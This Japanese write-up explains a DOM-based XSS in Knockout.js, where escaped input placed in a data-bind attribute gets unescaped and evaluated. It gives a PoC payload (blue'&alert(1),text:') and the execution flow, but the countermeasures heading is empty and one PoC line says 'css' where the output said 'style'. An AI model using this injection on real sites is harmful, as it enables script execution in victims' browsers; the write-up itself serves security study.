XSS小ネタ(DOM based XSS - Knockout.js)

最近出会った, Knockout.jsでのDOM based XSSを紹介.

書いてあること

  1. XSSが発生するKnockout.jsを使用したHTMLソース(レスポンス)例
  2. PoC
  3. スクリプトが実行される流れ

前提知識

HTMLソース(レスポンス)例

  • input 1
inputtedaaaaa<'"%26>
  • output 1
(snipped)
<script src="./knockout-min.js"></script>
(snipped)
<span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa&lt;&#39;&quot&&gt;'}"></span>
(snipped)
  • input 2
inputtedaaaaa,(;:)
  • output 2
(snipped)
<script src="./knockout-min.js"></script>
(snipped)
<span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa,(;:)'}"></span>
(snipped)

お分かりいただけただろうか. ご覧の通りXSS可能.

PoC

  • input
blue'&alert(1),text:'
  • output
<span data-bind="text: 'Hello Knockout.js', style: {color: 'blue&#39;&alert(1),text:&#39;'}"></span>
  • HTML
<span data-bind="text: 'Hello Knockout.js', css: {color: 'blue'&alert(1),text:''}">Hello Knockout.js</span>

スクリプトが実行される流れ

  1. ブラウザの仕様であるHTMLアンエスケープ(&#39;が'としてJavaScriptエンジンに渡される)
  2. Knockout.jsが動いてalertが動作
    • ViewモデルにおいてJavaScriptオブジェクトが使用される, JavaScript式を指定可能

対策

コメントとか小話とか

  • BurpSuite 1.7.37, 2.0.X betaでのScanは(Info)Input returned in response (reflected).
  • 「これどう思います?」と質問されたのが見つけられた発端. その時にKnockout.jsの存在を知った(ライブラリ多すぎてツラい).
  • ようやくWebに慣れてきた気がする. 職人への道はまだまだ遠い.